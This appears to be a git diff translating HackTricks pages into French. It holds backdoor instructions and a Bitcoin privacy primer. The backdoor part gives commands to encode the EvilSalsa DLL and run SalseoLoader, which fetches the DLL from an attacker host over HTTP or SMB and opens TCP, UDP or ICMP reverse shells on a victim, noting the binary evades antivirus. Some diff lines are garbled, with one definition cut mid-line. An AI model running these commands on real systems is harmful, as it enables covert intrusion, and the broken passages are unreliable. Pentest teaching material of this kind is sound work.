+Ensuite, compilez les deux projets (Build -> Build Solution) (Le chemin de l'exécutable apparaîtra dans les journaux) : ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) -## Prepare the Backdoor +## Préparer la porte dérobée -First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: +Tout d'abord, vous devrez encoder le **EvilSalsa.dll**. Pour ce faire, vous pouvez utiliser le script python **encrypterassembly.py** ou vous pouvez compiler le projet **EncrypterAssembly** : ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - ### Windows +### Windows ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +Ok, maintenant vous avez tout ce dont vous avez besoin pour exécuter tout le truc Salseo: le **fichier EvilDalsa.dll encodé** et le **binaire de SalseoLoader.** -Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** +**Téléchargez le binaire SalseoLoader.exe sur la machine. Il ne devrait pas être détecté par un antivirus...** -**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** +## **Exécuter la porte dérobée** -## **Execute the backdoor** - -### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** - -Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa. +### **Obtenir un shell inversé TCP (téléchargement du fichier dll encodé via HTTP)** +N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inversé et un serveur HTTP pour servir le fichier evilsalsa encodé. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` +### **Obtention d'un shell inversé UDP (téléchargement d'un fichier dll encodé via SMB)** -### **Getting a UDP reverse shell (downloading encoded dll through SMB)** - -Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). - +N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inversé et un serveur SMB pour servir le fichier evilsalsa encodé (impacket-smbserver). ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` +### **Obtention d'un shell inversé ICMP (dll encodée déjà présente sur la victime)** -### **Getting a ICMP reverse shell (encoded dll already inside the victim)** - -**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Disable ICMP Replies:** +**Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inversé. Téléchargez:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +#### **Désactiver les réponses ICMP:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` - -#### Execute the client: - +#### Exécuter le client : ``` python icmpsh_m.py "" "" ``` - -#### Inside the victim, lets execute the salseo thing: - +#### À l'intérieur de la victime, exécutons la chose salseo : ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` +## Compilation de SalseoLoader en tant que DLL exportant une fonction principale -## Compiling SalseoLoader as DLL exporting main function +Ouvrez le projet SalseoLoader à l'aide de Visual Studio. -Open the SalseoLoader project using Visual Studio. - -### Add before the main function: \[DllExport] +### Ajoutez avant la fonction principale: \[DllExport] ![](<../.gitbook/assets/image (2) (1) (1) (1).png>) -### Install DllExport for this project +### Installez DllExport pour ce projet -#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** +#### **Outils** --> **Gestionnaire de packages NuGet** --> **Gérer les packages NuGet pour la solution...** ![](<../.gitbook/assets/image (3) (1) (1) (1).png>) -#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** +#### **Recherchez le package DllExport (en utilisant l'onglet Parcourir), et appuyez sur Installer (et acceptez la fenêtre contextuelle)** ![](<../.gitbook/assets/image (4) (1) (1) (1).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat** +Les fichiers suivants sont apparus dans votre dossier de projet: **DllExport.bat** et **DllExport\_Configure.bat** -### **U**ninstall DllExport +### **Désinstallez** DllExport -Press **Uninstall** (yeah, its weird but trust me, it is necessary) +Appuyez sur **Désinstaller** (oui, c'est étrange mais croyez-moi, c'est nécessaire) ![](<../.gitbook/assets/image (5) (1) (1) (2).png>) -### **Exit Visual Studio and execute DllExport\_configure** +### **Quittez Visual Studio et exécutez DllExport\_configure** -Just **exit** Visual Studio +Simplement **quittez** Visual Studio -Then, go to your **SalseoLoader folder** and **execute DllExport\_Configure.bat** +Ensuite, allez dans votre dossier **SalseoLoader** et **exécutez DllExport\_Configure.bat** -Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** +Sélectionnez **x64** (si vous allez l'utiliser dans une boîte x64, c'était mon cas), sélectionnez **System.Runtime.InteropServices** (dans **Namespace pour DllExport**) et appuyez sur **Appliquer** ![](<../.gitbook/assets/image (7) (1) (1) (1).png>) -### **Open the project again with visual Studio** +### **Ouvrez à nouveau le projet avec Visual Studio** -**\[DllExport]** should not be longer marked as error +**\[DllExport]** ne doit plus être marqué comme une erreur ![](<../.gitbook/assets/image (8) (1).png>) -### Build the solution +### Compilez la solution -Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) +Sélectionnez **Type de sortie = Bibliothèque de classes** (Projet --> Propriétés de SalseoLoader --> Application --> Type de sortie = Bibliothèque de classes) ![](<../.gitbook/assets/image (10) (1).png>) -Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) +Sélectionnez **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Générer --> Plateforme cible = x64) ![](<../.gitbook/assets/image (9) (1) (1).png>) -To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) +Pour **compiler** la solution: Build --> Build Solution (Le chemin de la nouvelle DLL apparaîtra dans la console de sortie) -### Test the generated Dll +### Testez la DLL générée -Copy and paste the Dll where you want to test it. - -Execute: +Copiez et collez la DLL où vous voulez la tester. +Exécutez: ``` rundll32.exe SalseoLoader.dll,main ``` +Si aucune erreur n'apparaît, vous avez probablement une DLL fonctionnelle !! -If no error appears, probably you have a functional DLL!! +## Obtenir un shell en utilisant la DLL -## Get a shell using the DLL - -Don't forget to use a **HTTP** **server** and set a **nc** **listener** +N'oubliez pas d'utiliser un **serveur HTTP** et de définir un **écouteur nc** ### Powershell - ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -173,9 +158,9 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - ### CMD +CMD (ou Command Prompt) est un interpréteur de commandes pour les systèmes d'exploitation Windows. Il permet aux utilisateurs d'exécuter des commandes système, des scripts et des programmes. Les hackers peuvent utiliser CMD pour exécuter des commandes malveillantes sur un système cible. CMD peut également être utilisé pour naviguer dans les fichiers et les dossiers, afficher les processus en cours d'exécution et les connexions réseau, et modifier les paramètres système. ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -184,15 +169,14 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/blockchain/blockchain-and-crypto-currencies/README.md b/blockchain/blockchain-and-crypto-currencies/README.md index d9518db75..cd025055c 100644 --- a/blockchain/blockchain-and-crypto-currencies/README.md +++ b/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,316 +1,203 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Basic Terminology +# Terminologie de base -* **Smart contract**: Smart contracts are simply **programs stored on a blockchain that run when predetermined conditions are met**. They typically are used to automate the **execution** of an **agreement** so that all participants can be immediately certain of the outcome, without any intermediary’s involvement or time loss. (From [here](https://www.ibm.com/topics/smart-contracts)). - * Basically, a smart contract is a **piece of code** that is going to be executed when people access and accept the contract. Smart contracts **run in blockchains** (so the results are stored inmutable) and can be read by the people before accepting them. -* **dApps**: **Decentralised applications** are implemented on top of **smart** **contracts**. They usually have a front-end where the user can interact with the app, the **back-end** is public (so it can be audited) and is implemented as a **smart contract**. Sometimes the use of a database is needed, Ethereum blockchain allocates certain storage to each account. -* **Tokens & coins**: A **coin** is a cryptocurrency that act as **digital** **money** and a **token** is something that **represents** some **value** but it's not a coin. - * **Utility Tokens**: These tokens allow the user to **access certain service later** (it's something that have some value in a specific environment). - * **Security Tokens**: These represents the **ownership** or some asset. -* **DeFi**: **Decentralized Finance**. -* **DEX: Decentralized Exchange Platforms**. -* **DAOs**: **Decentralized Autonomous Organizations**. +* **Smart contract**: Les smart contracts sont simplement des **programmes stockés sur une blockchain qui s'exécutent lorsque des conditions prédéterminées sont remplies**. Ils sont généralement utilisés pour automatiser l'**exécution** d'un **accord** afin que tous les participants puissent être immédiatement certains du résultat, sans l'intervention ou la perte de temps d'un intermédiaire. (De [ici](https://www.ibm.com/topics/smart-contracts)). + * En gros, un smart contract est un **morceau de code** qui sera exécuté lorsque les gens accèdent et acceptent le contrat. Les smart contracts **s'exécutent dans les blockchains** (donc les résultats sont stockés de manière immuable) et peuvent être lus par les gens avant de les accepter. +* **dApps**: Les **applications décentralisées** sont implémentées sur le dessus des **smart contracts**. Elles ont généralement une interface utilisateur où l'utilisateur peut interagir avec l'application, le **back-end** est public (afin qu'il puisse être audité) et est implémenté sous forme de **smart contract**. Parfois, l'utilisation d'une base de données est nécessaire, la blockchain Ethereum alloue un certain stockage à chaque compte. +* **Tokens & coins**: Une **coin** est une crypto-monnaie qui agit comme de l'**argent numérique** et un **token** est quelque chose qui **représente** une certaine **valeur** mais ce n'est pas une pièce de monnaie. + * **Tokens utilitaires**: Ces tokens permettent à l'utilisateur d'**accéder à certains services plus tard** (c'est quelque chose qui a une certaine valeur dans un environnement spécifique). + * **Tokens de sécurité**: Ils représentent la **propriété** ou un actif. +* **DeFi**: **Finance décentralisée**. +* **DEX: Plateformes d'échange décentralisées**. +* **DAOs**: **Organisations autonomes décentralisées**. -# Consensus Mechanisms +# Mécanismes de consensus -For a blockchain transaction to be recognized, it must be **appended** to the **blockchain**. Validators (miners) carry out this appending; in most protocols, they **receive a reward** for doing so. For the blockchain to remain secure, it must have a mechanism to **prevent a malicious user or group from taking over a majority of validation**. +Pour qu'une transaction de blockchain soit reconnue, elle doit être **ajoutée** à la **blockchain**. Les validateurs (mineurs) effectuent cet ajout ; dans la plupart des protocoles, ils **reçoivent une récompense** pour le faire. Pour que la blockchain reste sécurisée, elle doit avoir un mécanisme pour **empêcher un utilisateur ou un groupe malveillant de prendre le contrôle de la majorité de la validation**. -Proof of work, another commonly used consensus mechanism, uses a validation of computational prowess to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network. +La preuve de travail, un autre mécanisme de consensus couramment utilisé, utilise une validation de la puissance de calcul pour vérifier les transactions, exigeant qu'un attaquant potentiel acquière une grande fraction de la puissance de calcul du réseau de validation. -## Proof Of Work (PoW) +## Preuve de travail (PoW) -This uses a **validation of computational prowess** to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network.\ -The **miners** will **select several transactions** and then start **computing the Proof Of Work**. The **miner with the greatest computation resources** is more probably to **finish** **earlier** the Proof of Work and get the fees of all the transactions. +Cela utilise une **validation de la puissance de calcul** pour vérifier les transactions, exigeant qu'un attaquant potentiel acquière une grande fraction de la puissance de calcul du réseau de validation.\ +Les **mineurs** vont **sélectionner plusieurs transactions** et commencer à **calculer la preuve de travail**. Le **mineur avec les plus grandes ressources de calcul** est plus susceptible de **terminer plus tôt** la preuve de travail et d'obtenir les frais de toutes les transactions. -## Proof Of Stake (PoS) +## Preuve d'enjeu (PoS) -PoS accomplishes this by **requiring that validators have some quantity of blockchain tokens**, requiring **potential attackers to acquire a large fraction of the tokens** on the blockchain to mount an attack.\ -In this kind of consensus, the more tokens a miner has, the more probably it will be that the miner will be asked to create the next block.\ -Compared with PoW, this greatly **reduced the energy consumption** the miners are expending. +PoS y parvient en **exigeant que les validateurs aient une certaine quantité de jetons de blockchain**, exigeant que **les attaquants potentiels acquièrent une grande fraction des jetons** sur la blockchain pour monter une attaque.\ +Dans ce type de consensus, plus un mineur a de jetons, plus il est probable qu'il sera invité à créer le prochain bloc.\ +Comparé à PoW, cela a considérablement **réduit la consommation d'énergie** que les mineurs dépensent. # Bitcoin ## Transactions -A simple **transaction** is a **movement of money** from an address to another one.\ -An **address** in bitcoin is the hash of the **public** **key**, therefore, someone in order to make a transaction from an address he needs to know the private key associated to that public key (the address).\ -Then, when a **transaction** is performed, it's **signed** with the private key of the address to show that the transaction is **legit**. +Une **transaction** simple est un **mouvement d'argent** d'une adresse à une autre.\ +Une **adresse** en bitcoin est le hachage de la **clé publique**, donc, pour qu'une transaction soit effectuée, il faut connaître la clé privée associée à cette clé publique (l'adresse).\ +Ensuite, lorsqu'une **transaction** est effectuée, elle est **signée** avec la clé privée de l'adresse pour montrer que la transaction est **légitime**. -The first part of producing a digital signature in Bitcoin can be represented mathematically in the following way:\ +La première partie de la production d'une signature numérique en Bitcoin peut être représentée mathématiquement de la manière suivante :\ _**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_) -Where: +Où : -* \_d\_A is the signing **private key** -* _m_ is the **transaction** -* Fhash is the hashing function -* Fsig is the signing algorithm -* Sig is the resulting signature +* \_d\_ +## Détection d'adresse de changement UTXO -The signing function (Fsig) produces a signature (Sig) that comprises of two values: R and S: +**UTXO** signifie **Unspent Transaction Outputs** (sorties de transaction non dépensées). Dans une transaction qui utilise la sortie d'une transaction précédente en tant qu'entrée, **toute la sortie doit être dépensée** (pour éviter les attaques de double dépense). Par conséquent, si l'intention était de **envoyer** seulement **une partie** de l'argent de cette sortie à une adresse et de **garder** l'**autre** **partie**, **2 sorties différentes** apparaîtront : celle **prévue** et une **nouvelle adresse de changement aléatoire** où le reste de l'argent sera enregistré. -* Sig = (R, S) +Ensuite, un observateur peut supposer que **la nouvelle adresse de changement générée appartient au propriétaire de l'UTXO**. -Once R and S have been calculated, they are serialized into a byte stream that is encoded using an international standard encoding scheme that is known as the Distinguished Encoding Rules (or DER). In order to verify that the signature is valid, a signature verification algorithm is used. Verification of a digital signature requires the following: +## Réseaux sociaux et forums -* Signature (R and S) -* Transaction hash -* The public key that corresponds to the private key that was used to create the signature +Certaines personnes donnent des données sur leurs adresses bitcoin sur différents sites web sur Internet. **Cela rend assez facile l'identification du propriétaire d'une adresse**. -Verification of a signature effectively means that only the owner of the private key (that generated the public key) could have produced the signature on the transaction. The signature verification algorithm will return ‘TRUE’ if the signature is indeed valid. +## Graphes de transaction -### Multisignature Transactions +En représentant les transactions sous forme de graphes, il est possible de savoir avec une certaine probabilité où l'argent d'un compte se trouvait. Par conséquent, il est possible de savoir quelque chose sur les **utilisateurs** qui sont **liés** dans la blockchain. -A multi-signature **address** is an address that is associated with more than one ECDSA private key. The simplest type is an m-of-n address - it is associated with n private keys, and sending bitcoins from this address requires signatures from at least m keys. A multi-signature **transaction** is one that sends funds from a multi-signature address. - -### Transactions Fields - -Each bitcoin transaction has several fields: - -* **Inputs**: The amount and address **from** where **bitcoins** are **being** transferred -* **Outputs**: The address and amounts that each **transferred** to **each** **output** -* **Fee:** The amount of **money** that is **payed** to the **miner** of the transaction -* **Script\_sig**: Script signature of the transaction -* **Script\_type**: Type of transaction - -There are **2 main types** of transactions: - -* **P2PKH: "Pay To Public Key Hash"**: This is how transactions are made. You are requiring the **sender** to supply a valid **signature** (from the private key) and **public** **key**. The transaction output script will use the signature and public key and through some cryptographic functions will check **if it matches** with the public key hash, if it does, then the **funds** will be **spendable**. This method conceals your public key in the form of a hash for extra security. -* **P2SH: "Pay To Script Hash":** The outputs of a transaction are just **scripts** (this means the person how want this money send a script) that, if are **executed with specific parameters, will result in a boolean of `true` or `false`**. If a miner runs the output script with the supplied parameters and results in `true`, the **money will be sent to your desired output**. `P2SH` is used for **multi-signature** wallets making the output scripts **logic that checks for multiple signatures before accepting the transaction**. `P2SH` can also be used to allow anyone, or no one, to spend the funds. If the output script of a P2SH transaction is just `1` for true, then attempting to spend the output without supplying parameters will just result in `1` making the money spendable by anyone who tries. This also applies to scripts that return `0`, making the output spendable by no one. - -## Lightning Network - -This protocol helps to **perform several transactions to a channe**l and **just** **sent** the **final** **state** to the blockchain to save it.\ -This **improves** bitcoin blockchain **speed** (it just on allow 7 payments per second) and it allows to create **transactions more difficult to trace** as the channel is created via nodes of the bitcoin blockchain: - -![](<../../.gitbook/assets/image (611).png>) - -Normal use of the Lightning Network consists of **opening a payment channel** by committing a funding transaction to the relevant base blockchain (layer 1), followed by making **any number** of Lightning Network **transactions** that update the tentative distribution of the channel's funds **without broadcasting those to the blockchain**, optionally followed by closing the payment channel by **broadcasting** the **final** **version** of the settlement transaction to distribute the channel's funds. - -Note that any of the both members of the channel can stop and send the final state of the channel to the blockchain at any time. - -# Bitcoin Privacy Attacks - -## Common Input - -Theoretically the inputs of one transaction can belong to different users, but in reality that is unusual as it requires extra steps. Therefore, very often it can be assumed that **2 input addresses in the same transaction belongs to the same owner**. - -## UTXO Change Address Detection - -**UTXO** means **Unspent Transaction Outputs** (UTXOs). In a transaction that uses the output from a previous transaction as an input, the **whole output need to be spent** (to avoid double-spend attacks). Therefore, if the intention was to **send** just **part** of the money from that output to an address and **keep** the **other** **part**, **2 different outputs** will appear: the **intended** one and a **random new change address** where the rest of the money will be saved. - -Then, a watcher can make the assumption that **the new change address generated belong to the owner of the UTXO**. - -## Social Networks & Forums - -Some people gives data about theirs bitcoin addresses in different webs on Internet. **This make pretty easy to identify the owner of an address**. - -## Transaction Graphs - -By representing the transactions in graphs, i**t's possible to know with certain probability to where the money of an account were**. Therefore, it's possible to know something about **users** that are **related** in the blockchain. - -## **Unnecessary input heuristic** - -Also called the "optimal change heuristic". Consider this bitcoin transaction. It has two inputs worth 2 BTC and 3 BTC and two outputs worth 4 BTC and 1 BTC. +## **Heuristique d'entrée inutile** +Aussi appelée "heuristique de changement optimal". Considérez cette transaction bitcoin. Elle a deux entrées valant 2 BTC et 3 BTC et deux sorties valant 4 BTC et 1 BTC. ``` 2 btc --> 4 btc 3 btc 1 btc ``` +En supposant qu'une des sorties est le changement et l'autre sortie est le paiement. Il y a deux interprétations : la sortie de paiement est soit la sortie de 4 BTC, soit la sortie de 1 BTC. Mais si la sortie de 1 BTC est le montant du paiement, alors l'entrée de 3 BTC est inutile, car le portefeuille aurait pu dépenser seulement l'entrée de 2 BTC et payer des frais de transaction plus bas pour le faire. Cela indique que la véritable sortie de paiement est de 4 BTC et que 1 BTC est la sortie de changement. -Assuming one of the outputs is change and the other output is the payment. There are two interpretations: the payment output is either the 4 BTC output or the 1 BTC output. But if the 1 BTC output is the payment amount then the 3 BTC input is unnecessary, as the wallet could have spent only the 2 BTC input and paid lower miner fees for doing so. This is an indication that the real payment output is 4 BTC and that 1 BTC is the change output. - -This is an issue for transactions which have more than one input. One way to fix this leak is to add more inputs until the change output is higher than any input, for example: - +Ceci est un problème pour les transactions qui ont plus d'une entrée. Une façon de corriger cette fuite est d'ajouter plus d'entrées jusqu'à ce que la sortie de changement soit supérieure à toute entrée, par exemple : ``` 2 btc --> 4 btc 3 btc 6 btc 5 btc ``` +## Réutilisation forcée d'adresse -## Forced address reuse +La **réutilisation forcée d'adresse** ou **réutilisation d'adresse incitative** est lorsque l'attaquant paie une petite somme de bitcoins à des adresses qui ont déjà été utilisées sur la chaîne de blocs. L'attaquant espère que les utilisateurs ou leur logiciel de portefeuille **utiliseront les paiements comme entrées pour une transaction plus importante qui révélera d'autres adresses via l'heuristique de propriété d'entrée commune**. Ces paiements peuvent être compris comme un moyen de contraindre le propriétaire de l'adresse à une réutilisation involontaire d'adresse. -**Forced address reuse** or **incentivized address reuse** is when an adversary pays an (often small) amount of bitcoin to addresses that have already been used on the block chain. The adversary hopes that users or their wallet software **will use the payments as inputs to a larger transaction which will reveal other addresses via the the common-input-ownership** heuristic. These payments can be understood as a way to coerce the address owner into unintentional address reuse. +Cette attaque est parfois incorrectement appelée une **attaque de poussière**. -This attack is sometimes incorrectly called a **dust attack**. +Le comportement correct des portefeuilles est de ne pas dépenser les pièces qui ont atterri sur des adresses vides déjà utilisées. -The correct behaviour by wallets is to not spend coins that have landed on an already-used empty addresses. +## Autres analyses de blockchain -## Other Blockchain Analysis +* **Montants de paiement exacts**: Pour éviter les transactions avec un changement, le paiement doit être égal à l'UTXO (ce qui est très improbable). Par conséquent, une **transaction sans adresse de changement est probablement un transfert entre 2 adresses du même utilisateur**. +* **Nombres ronds**: Dans une transaction, si l'une des sorties est un "**nombre rond**", il est très probable que ce soit un **paiement à un humain qui a mis ce** "nombre rond" **de prix**, donc l'autre partie doit être le reste. +* **Empreinte de portefeuille:** Un analyste attentif peut parfois déduire quel logiciel a créé une certaine transaction, car les **différents logiciels de portefeuille ne créent pas toujours des transactions exactement de la même manière**. L'empreinte de portefeuille peut être utilisée pour détecter les sorties de changement car une sortie de changement est celle dépensée avec la même empreinte de portefeuille. +* **Corrélations de montants et de temps**: Si la personne qui a effectué la transaction **divulgue** l'**heure** et/ou le **montant** de la transaction, cela peut être facilement **découvert**. -* **Exact Payment Amounts**: In order to avoid transactions with a change, the payment needs to be equal to the UTXO (which is highly unexpected). Therefore, a **transaction with no change address are probably transfer between 2 addresses of the same user**. -* **Round Numbers**: In a transaction, if one of the outputs is a "**round number**", it's highly probable that this is a **payment to a human that put that** "round number" **price**, so the other part must be the leftover. -* **Wallet fingerprinting:** A careful analyst sometimes deduce which software created a certain transaction, because the many **different wallet softwares don't always create transactions in exactly the same way**. Wallet fingerprinting can be used to detect change outputs because a change output is the one spent with the same wallet fingerprint. -* **Amount & Timing correlations**: If the person that performed the transaction **discloses** the **time** and/or **amount** of the transaction, it can be easily **discoverable**. +## Analyse de trafic -## Traffic analysis +Certaines organisations qui **espionnent votre trafic** peuvent voir que vous communiquez dans le réseau Bitcoin.\ +Si l'attaquant voit une transaction ou un bloc **sortir de votre nœud qui n'est pas entré auparavant**, il peut savoir avec une quasi-certitude que **la transaction a été effectuée par vous ou que le bloc a été miné par vous**. Comme les connexions Internet sont impliquées, l'attaquant pourra **lier l'adresse IP aux informations Bitcoin découvertes**. -Some organisation **sniffing your traffic** can see you communicating in the bitcoin network.\ -If the adversary sees a transaction or block **coming out of your node which did not previously enter**, then it can know with near-certainty that **the transaction was made by you or the block was mined by you**. As internet connections are involved, the adversary will be able to **link the IP address with the discovered bitcoin information**. +Un attaquant qui n'est pas en mesure d'espionner tout le trafic Internet mais qui a **beaucoup de nœuds Bitcoin** pour rester **plus proche** des sources pourrait être en mesure de connaître les adresses IP qui annoncent des transactions ou des blocs.\ +De plus, certains portefeuilles rebroadcastent périodiquement leurs transactions non confirmées afin qu'elles se propagent plus largement dans le réseau et soient exploitées. -An attacker that isn't able to sniff all the Internet traffic but that has **a lot of Bitcoin nodes** in order to stay **closer** to the s**o**urces could be able to know the IP address that are announcing transactions or blocks.\ -Also, some wallets periodically rebroadcast their unconfirmed transactions so that they are more likely to propagate widely through the network and be mined. +## Autres attaques pour trouver des informations sur le propriétaire des adresses -## Other attacks to find info about the owner of addresses +Pour plus d'attaques, lire [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy) -For more attacks read [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy) +# Bitcoins anonymes -# Anonymous Bitcoins +## Obtenir des Bitcoins anonymement -## Obtaining Bitcoins Anonymously +* **Transactions en espèces:** Acheter des bitcoins en espèces. +* **Substitut d'espèces:** Acheter des cartes-cadeaux ou similaires et les échanger contre des bitcoins en ligne. +* **Minage:** Le minage est le moyen le plus anonyme d'obtenir des bitcoins. Cela s'applique au minage en solo car les [pools de minage](https://en.bitcoin.it/wiki/Pooled\_mining) connaissent généralement l'adresse IP du hacheur. +* **Vol:** En théorie, une autre façon d'obtenir des bitcoins anonymes est de les voler. -* **Cash trades:** Buy bitcoin using cash. -* **Cash substitute:** Buy gift cards or similar and exchange them for bitcoin online. -* **Mining:** Mining is the most anonymous way to obtain bitcoin. This applies to solo-mining as [mining pools](https://en.bitcoin.it/wiki/Pooled\_mining) generally know the hasher's IP address. -* **Stealing:** In theory another way of obtaining anonymous bitcoin is to steal them. +## Mélangeurs -## Mixers +Un utilisateur **enverrait des bitcoins à un service de mélange** et le service **enverrait des bitcoins différents à l'utilisateur**, moins des frais. En théorie, un adversaire observant la blockchain serait **incapable de lier** les transactions entrantes et sortantes. -A user would **send bitcoins to a mixing service** and the service would **send different bitcoins back to the user**, minus a fee. In theory an adversary observing the blockchain would be **unable to link** the incoming and outgoing transactions. - -However, the user needs to trust the mixing service to return the bitcoin and also to not be saving logs about the relations between the money received and sent.\ -Some other services can be also used as mixers, like Bitcoin casinos where you can send bitcoins and retrieve them later. +Cependant, l'utilisateur doit faire confiance au service de mélange pour retourner les bitcoins et aussi pour ne pas enregistrer de journaux sur les relations entre l'argent reçu et envoyé.\ +D'autres services peuvent également être utilisés comme mélangeurs, comme les casinos Bitcoin où vous pouvez envoyer des bitcoins et les récupérer plus tard. ## CoinJoin -**CoinJoin** will **mix several transactions of different users into just one** in order to make more **difficult** for an observer to find out **which input is related to which output**.\ -This offers a new level of privacy, however, **some** **transactions** where some input and output amounts are correlated or are very different from the rest of the inputs and outputs **can still be correlated** by the external observer. 